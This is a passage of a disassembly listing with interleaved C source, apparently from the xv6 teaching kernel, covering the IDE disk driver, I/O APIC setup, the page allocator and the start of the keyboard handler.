asm volatile("out %0,%1" : : "a" (data), "d" (port));
801020b3: ba f6 01 00 00 mov $0x1f6,%edx
801020b8: b8 f0 ff ff ff mov $0xfffffff0,%eax
801020bd: ee out %al,(%dx)
801020be: b9 e8 03 00 00 mov $0x3e8,%ecx
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801020c3: b2 f7 mov $0xf7,%dl
801020c5: eb 06 jmp 801020cd <ideinit+0x5d>
801020c7: 90 nop
ioapicenable(IRQ_IDE, ncpu - 1);
idewait(0);
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
for(i=0; i<1000; i++){
801020c8: 83 e9 01 sub $0x1,%ecx
801020cb: 74 0f je 801020dc <ideinit+0x6c>
801020cd: ec in (%dx),%al
if(inb(0x1f7) != 0){
801020ce: 84 c0 test %al,%al
801020d0: 74 f6 je 801020c8 <ideinit+0x58>
havedisk1 = 1;
801020d2: c7 05 94 a5 10 80 01 movl $0x1,0x8010a594
801020d9: 00 00 00
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801020dc: ba f6 01 00 00 mov $0x1f6,%edx
801020e1: b8 e0 ff ff ff mov $0xffffffe0,%eax
801020e6: ee out %al,(%dx)
}
}
// Switch back to disk 0.
outb(0x1f6, 0xe0 | (0<<4));
}
801020e7: c9 leave
801020e8: c3 ret
801020e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801020f0 <ideintr>:
}
// Interrupt handler.
void
ideintr(void)
{
801020f0: 55 push %ebp
801020f1: 89 e5 mov %esp,%ebp
801020f3: 57 push %edi
801020f4: 53 push %ebx
801020f5: 83 ec 10 sub $0x10,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
801020f8: c7 04 24 60 a5 10 80 movl $0x8010a560,(%esp)
801020ff: e8 7c 21 00 00 call 80104280 <acquire>
if((b = idequeue) == 0){
80102104: 8b 1d 98 a5 10 80 mov 0x8010a598,%ebx
8010210a: 85 db test %ebx,%ebx
8010210c: 74 2d je 8010213b <ideintr+0x4b>
release(&idelock);
return;
}
idequeue = b->qnext;
8010210e: 8b 43 58 mov 0x58(%ebx),%eax
80102111: a3 98 a5 10 80 mov %eax,0x8010a598
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
80102116: 8b 0b mov (%ebx),%ecx
80102118: f6 c1 04 test $0x4,%cl
8010211b: 74 33 je 80102150 <ideintr+0x60>
insl(0x1f0, b->data, BSIZE/4);
// Wake process waiting for this buf.
b->flags |= B_VALID;
8010211d: 83 c9 02 or $0x2,%ecx
b->flags &= ~B_DIRTY;
80102120: 83 e1 fb and $0xfffffffb,%ecx
80102123: 89 0b mov %ecx,(%ebx)
wakeup(b);
80102125: 89 1c 24 mov %ebx,(%esp)
80102128: e8 03 1d 00 00 call 80103e30 <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
8010212d: a1 98 a5 10 80 mov 0x8010a598,%eax
80102132: 85 c0 test %eax,%eax
80102134: 74 05 je 8010213b <ideintr+0x4b>
idestart(idequeue);
80102136: e8 75 fe ff ff call 80101fb0 <idestart>
release(&idelock);
8010213b: c7 04 24 60 a5 10 80 movl $0x8010a560,(%esp)
80102142: e8 a9 21 00 00 call 801042f0 <release>
}
80102147: 83 c4 10 add $0x10,%esp
8010214a: 5b pop %ebx
8010214b: 5f pop %edi
8010214c: 5d pop %ebp
8010214d: c3 ret
8010214e: 66 90 xchg %ax,%ax
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102150: ba f7 01 00 00 mov $0x1f7,%edx
80102155: 8d 76 00 lea 0x0(%esi),%esi
80102158: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80102159: 0f b6 c0 movzbl %al,%eax
8010215c: 89 c7 mov %eax,%edi
8010215e: 81 e7 c0 00 00 00 and $0xc0,%edi
80102164: 83 ff 40 cmp $0x40,%edi
80102167: 75 ef jne 80102158 <ideintr+0x68>
;
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
80102169: a8 21 test $0x21,%al
8010216b: 75 b0 jne 8010211d <ideintr+0x2d>
}
idequeue = b->qnext;
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
insl(0x1f0, b->data, BSIZE/4);
8010216d: 8d 7b 5c lea 0x5c(%ebx),%edi
}
static inline void
insl(int port, void *addr, int cnt)
{
asm volatile("cld; rep insl" :
80102170: b9 80 00 00 00 mov $0x80,%ecx
80102175: ba f0 01 00 00 mov $0x1f0,%edx
8010217a: fc cld
8010217b: f3 6d rep insl (%dx),%es:(%edi)
8010217d: 8b 0b mov (%ebx),%ecx
8010217f: eb 9c jmp 8010211d <ideintr+0x2d>
80102181: eb 0d jmp 80102190 <iderw>
80102183: 90 nop
80102184: 90 nop
80102185: 90 nop
80102186: 90 nop
80102187: 90 nop
80102188: 90 nop
80102189: 90 nop
8010218a: 90 nop
8010218b: 90 nop
8010218c: 90 nop
8010218d: 90 nop
8010218e: 90 nop
8010218f: 90 nop
80102190 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
80102190: 55 push %ebp
80102191: 89 e5 mov %esp,%ebp
80102193: 53 push %ebx
80102194: 83 ec 14 sub $0x14,%esp
80102197: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf **pp;
if(!holdingsleep(&b->lock))
8010219a: 8d 43 0c lea 0xc(%ebx),%eax
8010219d: 89 04 24 mov %eax,(%esp)
801021a0: e8 1b 1f 00 00 call 801040c0 <holdingsleep>
801021a5: 85 c0 test %eax,%eax
801021a7: 0f 84 8f 00 00 00 je 8010223c <iderw+0xac>
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
801021ad: 8b 03 mov (%ebx),%eax
801021af: 83 e0 06 and $0x6,%eax
801021b2: 83 f8 02 cmp $0x2,%eax
801021b5: 0f 84 99 00 00 00 je 80102254 <iderw+0xc4>
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
801021bb: 8b 53 04 mov 0x4(%ebx),%edx
801021be: 85 d2 test %edx,%edx
801021c0: 74 09 je 801021cb <iderw+0x3b>
801021c2: a1 94 a5 10 80 mov 0x8010a594,%eax
801021c7: 85 c0 test %eax,%eax
801021c9: 74 7d je 80102248 <iderw+0xb8>
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
801021cb: c7 04 24 60 a5 10 80 movl $0x8010a560,(%esp)
801021d2: e8 a9 20 00 00 call 80104280 <acquire>
// Append b to idequeue.
b->qnext = 0;
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
801021d7: a1 98 a5 10 80 mov 0x8010a598,%eax
801021dc: ba 98 a5 10 80 mov $0x8010a598,%edx
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
// Append b to idequeue.
b->qnext = 0;
801021e1: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
801021e8: 85 c0 test %eax,%eax
801021ea: 74 0e je 801021fa <iderw+0x6a>
801021ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801021f0: 8d 50 58 lea 0x58(%eax),%edx
801021f3: 8b 40 58 mov 0x58(%eax),%eax
801021f6: 85 c0 test %eax,%eax
801021f8: 75 f6 jne 801021f0 <iderw+0x60>
;
*pp = b;
801021fa: 89 1a mov %ebx,(%edx)
// Start disk if necessary.
if(idequeue == b)
801021fc: 39 1d 98 a5 10 80 cmp %ebx,0x8010a598
80102202: 75 14 jne 80102218 <iderw+0x88>
80102204: eb 2d jmp 80102233 <iderw+0xa3>
80102206: 66 90 xchg %ax,%ax
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
sleep(b, &idelock);
80102208: c7 44 24 04 60 a5 10 movl $0x8010a560,0x4(%esp)
8010220f: 80
80102210: 89 1c 24 mov %ebx,(%esp)
80102213: e8 78 1a 00 00 call 80103c90 <sleep>
// Start disk if necessary.
if(idequeue == b)
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
80102218: 8b 03 mov (%ebx),%eax
8010221a: 83 e0 06 and $0x6,%eax
8010221d: 83 f8 02 cmp $0x2,%eax
80102220: 75 e6 jne 80102208 <iderw+0x78>
sleep(b, &idelock);
}
release(&idelock);
80102222: c7 45 08 60 a5 10 80 movl $0x8010a560,0x8(%ebp)
}
80102229: 83 c4 14 add $0x14,%esp
8010222c: 5b pop %ebx
8010222d: 5d pop %ebp
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
sleep(b, &idelock);
}
release(&idelock);
8010222e: e9 bd 20 00 00 jmp 801042f0 <release>
;
*pp = b;
// Start disk if necessary.
if(idequeue == b)
idestart(b);
80102233: 89 d8 mov %ebx,%eax
80102235: e8 76 fd ff ff call 80101fb0 <idestart>
8010223a: eb dc jmp 80102218 <iderw+0x88>
iderw(struct buf *b)
{
struct buf **pp;
if(!holdingsleep(&b->lock))
panic("iderw: buf not locked");
8010223c: c7 04 24 2a 6f 10 80 movl $0x80106f2a,(%esp)
80102243: e8 28 e1 ff ff call 80100370 <panic>
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
panic("iderw: ide disk 1 not present");
80102248: c7 04 24 55 6f 10 80 movl $0x80106f55,(%esp)
8010224f: e8 1c e1 ff ff call 80100370 <panic>
struct buf **pp;
if(!holdingsleep(&b->lock))
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
panic("iderw: nothing to do");
80102254: c7 04 24 40 6f 10 80 movl $0x80106f40,(%esp)
8010225b: e8 10 e1 ff ff call 80100370 <panic>
80102260 <ioapicinit>:
ioapic->data = data;
}
void
ioapicinit(void)
{
80102260: 55 push %ebp
80102261: 89 e5 mov %esp,%ebp
80102263: 56 push %esi
80102264: 53 push %ebx
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
return ioapic->data;
80102265: bb 00 00 c0 fe mov $0xfec00000,%ebx
ioapic->data = data;
}
void
ioapicinit(void)
{
8010226a: 83 ec 10 sub $0x10,%esp
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
id = ioapicread(REG_ID) >> 24;
if(id != ioapicid)
8010226d: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx
};
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
80102274: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000
8010227b: 00 00 00
return ioapic->data;
8010227e: 8b 35 10 00 c0 fe mov 0xfec00010,%esi
};
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
80102284: c7 05 00 00 c0 fe 00 movl $0x0,0xfec00000
8010228b: 00 00 00
return ioapic->data;
8010228e: a1 10 00 c0 fe mov 0xfec00010,%eax
void
ioapicinit(void)
{
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
80102293: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634
8010229a: 00 c0 fe
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
8010229d: c1 ee 10 shr $0x10,%esi
id = ioapicread(REG_ID) >> 24;
801022a0: c1 e8 18 shr $0x18,%eax
ioapicinit(void)
{
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
801022a3: 81 e6 ff 00 00 00 and $0xff,%esi
id = ioapicread(REG_ID) >> 24;
if(id != ioapicid)
801022a9: 39 c2 cmp %eax,%edx
801022ab: 74 12 je 801022bf <ioapicinit+0x5f>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
801022ad: c7 04 24 74 6f 10 80 movl $0x80106f74,(%esp)
801022b4: e8 97 e3 ff ff call 80100650 <cprintf>
801022b9: 8b 1d 34 26 11 80 mov 0x80112634,%ebx
ioapic->data = data;
}
void
ioapicinit(void)
{
801022bf: ba 10 00 00 00 mov $0x10,%edx
801022c4: 31 c0 xor %eax,%eax
801022c6: 66 90 xchg %ax,%ax
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
801022c8: 89 13 mov %edx,(%ebx)
ioapic->data = data;
801022ca: 8b 1d 34 26 11 80 mov 0x80112634,%ebx
}
void
ioapicinit(void)
801022d0: 8d 48 20 lea 0x20(%eax),%ecx
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
801022d3: 81 c9 00 00 01 00 or $0x10000,%ecx
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
801022d9: 83 c0 01 add $0x1,%eax
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
801022dc: 89 4b 10 mov %ecx,0x10(%ebx)
}
void
ioapicinit(void)
801022df: 8d 4a 01 lea 0x1(%edx),%ecx
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
801022e2: 83 c2 02 add $0x2,%edx
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
801022e5: 89 0b mov %ecx,(%ebx)
ioapic->data = data;
801022e7: 8b 1d 34 26 11 80 mov 0x80112634,%ebx
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
801022ed: 39 c6 cmp %eax,%esi
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
801022ef: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
801022f6: 7d d0 jge 801022c8 <ioapicinit+0x68>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
801022f8: 83 c4 10 add $0x10,%esp
801022fb: 5b pop %ebx
801022fc: 5e pop %esi
801022fd: 5d pop %ebp
801022fe: c3 ret
801022ff: 90 nop
80102300 <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
80102300: 55 push %ebp
80102301: 89 e5 mov %esp,%ebp
80102303: 8b 55 08 mov 0x8(%ebp),%edx
80102306: 53 push %ebx
80102307: 8b 45 0c mov 0xc(%ebp),%eax
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
8010230a: 8d 5a 20 lea 0x20(%edx),%ebx
8010230d: 8d 4c 12 10 lea 0x10(%edx,%edx,1),%ecx
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
80102311: 8b 15 34 26 11 80 mov 0x80112634,%edx
{
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
80102317: c1 e0 18 shl $0x18,%eax
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
8010231a: 89 0a mov %ecx,(%edx)
ioapic->data = data;
8010231c: 8b 15 34 26 11 80 mov 0x80112634,%edx
{
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
80102322: 83 c1 01 add $0x1,%ecx
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
80102325: 89 5a 10 mov %ebx,0x10(%edx)
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
80102328: 89 0a mov %ecx,(%edx)
ioapic->data = data;
8010232a: 8b 15 34 26 11 80 mov 0x80112634,%edx
80102330: 89 42 10 mov %eax,0x10(%edx)
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
}
80102333: 5b pop %ebx
80102334: 5d pop %ebp
80102335: c3 ret
...
80102340 <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
80102340: 55 push %ebp
80102341: 89 e5 mov %esp,%ebp
80102343: 53 push %ebx
80102344: 83 ec 14 sub $0x14,%esp
80102347: 8b 5d 08 mov 0x8(%ebp),%ebx
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
8010234a: f7 c3 ff 0f 00 00 test $0xfff,%ebx
80102350: 75 7c jne 801023ce <kfree+0x8e>
80102352: 81 fb a8 54 11 80 cmp $0x801154a8,%ebx
80102358: 72 74 jb 801023ce <kfree+0x8e>
8010235a: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80102360: 3d ff ff ff 0d cmp $0xdffffff,%eax
80102365: 77 67 ja 801023ce <kfree+0x8e>
panic("kfree");
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
80102367: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010236e: 00
8010236f: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102376: 00
80102377: 89 1c 24 mov %ebx,(%esp)
8010237a: e8 c1 1f 00 00 call 80104340 <memset>
if(kmem.use_lock)
8010237f: 8b 15 74 26 11 80 mov 0x80112674,%edx
80102385: 85 d2 test %edx,%edx
80102387: 75 37 jne 801023c0 <kfree+0x80>
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
80102389: a1 78 26 11 80 mov 0x80112678,%eax
8010238e: 89 03 mov %eax,(%ebx)
kmem.freelist = r;
if(kmem.use_lock)
80102390: a1 74 26 11 80 mov 0x80112674,%eax
if(kmem.use_lock)
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
80102395: 89 1d 78 26 11 80 mov %ebx,0x80112678
if(kmem.use_lock)
8010239b: 85 c0 test %eax,%eax
8010239d: 75 09 jne 801023a8 <kfree+0x68>
release(&kmem.lock);
}
8010239f: 83 c4 14 add $0x14,%esp
801023a2: 5b pop %ebx
801023a3: 5d pop %ebp
801023a4: c3 ret
801023a5: 8d 76 00 lea 0x0(%esi),%esi
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
if(kmem.use_lock)
release(&kmem.lock);
801023a8: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp)
}
801023af: 83 c4 14 add $0x14,%esp
801023b2: 5b pop %ebx
801023b3: 5d pop %ebp
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
if(kmem.use_lock)
release(&kmem.lock);
801023b4: e9 37 1f 00 00 jmp 801042f0 <release>
801023b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
if(kmem.use_lock)
acquire(&kmem.lock);
801023c0: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
801023c7: e8 b4 1e 00 00 call 80104280 <acquire>
801023cc: eb bb jmp 80102389 <kfree+0x49>
kfree(char *v)
{
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
panic("kfree");
801023ce: c7 04 24 a6 6f 10 80 movl $0x80106fa6,(%esp)
801023d5: e8 96 df ff ff call 80100370 <panic>
801023da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801023e0 <freerange>:
kmem.use_lock = 1;
}
void
freerange(void *vstart, void *vend)
{
801023e0: 55 push %ebp
801023e1: 89 e5 mov %esp,%ebp
801023e3: 56 push %esi
801023e4: 53 push %ebx
801023e5: 83 ec 10 sub $0x10,%esp
char *p;
p = (char*)PGROUNDUP((uint)vstart);
801023e8: 8b 55 08 mov 0x8(%ebp),%edx
kmem.use_lock = 1;
}
void
freerange(void *vstart, void *vend)
{
801023eb: 8b 75 0c mov 0xc(%ebp),%esi
char *p;
p = (char*)PGROUNDUP((uint)vstart);
801023ee: 81 c2 ff 0f 00 00 add $0xfff,%edx
801023f4: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023fa: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
80102400: 39 de cmp %ebx,%esi
80102402: 73 08 jae 8010240c <freerange+0x2c>
80102404: eb 18 jmp 8010241e <freerange+0x3e>
80102406: 66 90 xchg %ax,%ax
80102408: 89 da mov %ebx,%edx
8010240a: 89 c3 mov %eax,%ebx
kfree(p);
8010240c: 89 14 24 mov %edx,(%esp)
8010240f: e8 2c ff ff ff call 80102340 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102414: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
8010241a: 39 f0 cmp %esi,%eax
8010241c: 76 ea jbe 80102408 <freerange+0x28>
kfree(p);
}
8010241e: 83 c4 10 add $0x10,%esp
80102421: 5b pop %ebx
80102422: 5e pop %esi
80102423: 5d pop %ebp
80102424: c3 ret
80102425: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102430 <kinit2>:
freerange(vstart, vend);
}
void
kinit2(void *vstart, void *vend)
{
80102430: 55 push %ebp
80102431: 89 e5 mov %esp,%ebp
80102433: 83 ec 18 sub $0x18,%esp
freerange(vstart, vend);
80102436: 8b 45 0c mov 0xc(%ebp),%eax
80102439: 89 44 24 04 mov %eax,0x4(%esp)
8010243d: 8b 45 08 mov 0x8(%ebp),%eax
80102440: 89 04 24 mov %eax,(%esp)
80102443: e8 98 ff ff ff call 801023e0 <freerange>
kmem.use_lock = 1;
80102448: c7 05 74 26 11 80 01 movl $0x1,0x80112674
8010244f: 00 00 00
}
80102452: c9 leave
80102453: c3 ret
80102454: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010245a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80102460 <kinit1>:
// the pages mapped by entrypgdir on free list.
// 2. main() calls kinit2() with the rest of the physical pages
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
80102460: 55 push %ebp
80102461: 89 e5 mov %esp,%ebp
80102463: 83 ec 18 sub $0x18,%esp
80102466: 89 5d f8 mov %ebx,-0x8(%ebp)
80102469: 8b 5d 08 mov 0x8(%ebp),%ebx
8010246c: 89 75 fc mov %esi,-0x4(%ebp)
8010246f: 8b 75 0c mov 0xc(%ebp),%esi
initlock(&kmem.lock, "kmem");
80102472: c7 44 24 04 ac 6f 10 movl $0x80106fac,0x4(%esp)
80102479: 80
8010247a: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
80102481: e8 8a 1c 00 00 call 80104110 <initlock>
kmem.use_lock = 0;
freerange(vstart, vend);
80102486: 89 75 0c mov %esi,0xc(%ebp)
}
80102489: 8b 75 fc mov -0x4(%ebp),%esi
void
kinit1(void *vstart, void *vend)
{
initlock(&kmem.lock, "kmem");
kmem.use_lock = 0;
freerange(vstart, vend);
8010248c: 89 5d 08 mov %ebx,0x8(%ebp)
}
8010248f: 8b 5d f8 mov -0x8(%ebp),%ebx
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
initlock(&kmem.lock, "kmem");
kmem.use_lock = 0;
80102492: c7 05 74 26 11 80 00 movl $0x0,0x80112674
80102499: 00 00 00
freerange(vstart, vend);
}
8010249c: 89 ec mov %ebp,%esp
8010249e: 5d pop %ebp
void
kinit1(void *vstart, void *vend)
{
initlock(&kmem.lock, "kmem");
kmem.use_lock = 0;
freerange(vstart, vend);
8010249f: e9 3c ff ff ff jmp 801023e0 <freerange>
801024a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801024aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801024b0 <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
801024b0: 55 push %ebp
struct run *r;
if(kmem.use_lock)
801024b1: 31 c0 xor %eax,%eax
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
801024b3: 89 e5 mov %esp,%ebp
801024b5: 53 push %ebx
801024b6: 83 ec 14 sub $0x14,%esp
struct run *r;
if(kmem.use_lock)
801024b9: 8b 0d 74 26 11 80 mov 0x80112674,%ecx
801024bf: 85 c9 test %ecx,%ecx
801024c1: 75 2d jne 801024f0 <kalloc+0x40>
acquire(&kmem.lock);
r = kmem.freelist;
801024c3: 8b 1d 78 26 11 80 mov 0x80112678,%ebx
if(r)
801024c9: 85 db test %ebx,%ebx
801024cb: 74 08 je 801024d5 <kalloc+0x25>
kmem.freelist = r->next;
801024cd: 8b 13 mov (%ebx),%edx
801024cf: 89 15 78 26 11 80 mov %edx,0x80112678
if(kmem.use_lock)
801024d5: 85 c0 test %eax,%eax
801024d7: 74 0c je 801024e5 <kalloc+0x35>
release(&kmem.lock);
801024d9: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
801024e0: e8 0b 1e 00 00 call 801042f0 <release>
return (char*)r;
}
801024e5: 83 c4 14 add $0x14,%esp
801024e8: 89 d8 mov %ebx,%eax
801024ea: 5b pop %ebx
801024eb: 5d pop %ebp
801024ec: c3 ret
801024ed: 8d 76 00 lea 0x0(%esi),%esi
kalloc(void)
{
struct run *r;
if(kmem.use_lock)
acquire(&kmem.lock);
801024f0: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
801024f7: e8 84 1d 00 00 call 80104280 <acquire>
801024fc: a1 74 26 11 80 mov 0x80112674,%eax
80102501: eb c0 jmp 801024c3 <kalloc+0x13>
...
80102510 <kbdgetc>:
#include "defs.h"
#include "kbd.h"
int
kbdgetc(void)
{
80102510: 55 push %ebp
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102511: ba 64 00 00 00 mov $0x64,%edx
80102516: 89 e5 mov %esp,%ebp
80102518: ec in (%dx),%al
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
80102519: a8 01 test $0x1,%al
return -1;
8010251b: b9 ff ff ff ff mov $0xffffffff,%ecx
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
80102520: 74 3e je 80102560 <kbdgetc+0x50>
80102522: b2 60 mov $0x60,%dl
80102524: ec in (%dx),%al
return -1;
data = inb(KBDATAP);
80102525: 0f b6 c0 movzbl %al,%eax
if(data == 0xE0){
80102528: 3d e0 00 00 00 cmp $0xe0,%eax
8010252d: 0f 84 85 00 00 00 je 801025b8 <kbdgetc+0xa8>
shift |= E0ESC;
return 0;
} else if(data & 0x80){
80102533: a8 80 test $0x80,%al
80102535: 74 31 je 80102568 <kbdgetc+0x58>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
80102537: 8b 15 9c a5 10 80 mov 0x8010a59c,%edx
8010253d: 89 c1 mov %eax,%ecx
8010253f: 83 e1 7f and $0x7f,%ecx
80102542: f6 c2 40 test $0x40,%dl
80102545: 0f 44 c1 cmove %ecx,%eax
shift &= ~(shiftcode[data] | E0ESC);
return 0;
80102548: 31 c9 xor %ecx,%ecx
shift |= E0ESC;
return 0;
} else if(data & 0x80){
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
shift &= ~(shiftcode[data] | E0ESC);
8010254a: 0f b6 80 c0 6f 10 80 movzbl -0x7fef9040(%eax),%eax
80102551: 83 c8 40 or $0x40,%eax
80102554: 0f b6 c0 movzbl %al,%eax
80102557: f7 d0 not %eax
80102559: 21 d0 and %edx,%eax
8010255b: a3 9c a5 10 80 mov %eax,0x8010a59c
c += 'A' - 'a';
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
80102560: 89 c8 mov %ecx,%eax
80102562: 5d pop %ebp
80102563: c3 ret
80102564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(data & 0x80){
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
shift &= ~(shiftcode[data] | E0ESC);
return 0;
} else if(shift & E0ESC){
80102568: 8b 0d 9c a5 10 80 mov 0x8010a59c,%ecx
8010256e: f6 c1 40 test $0x40,%cl
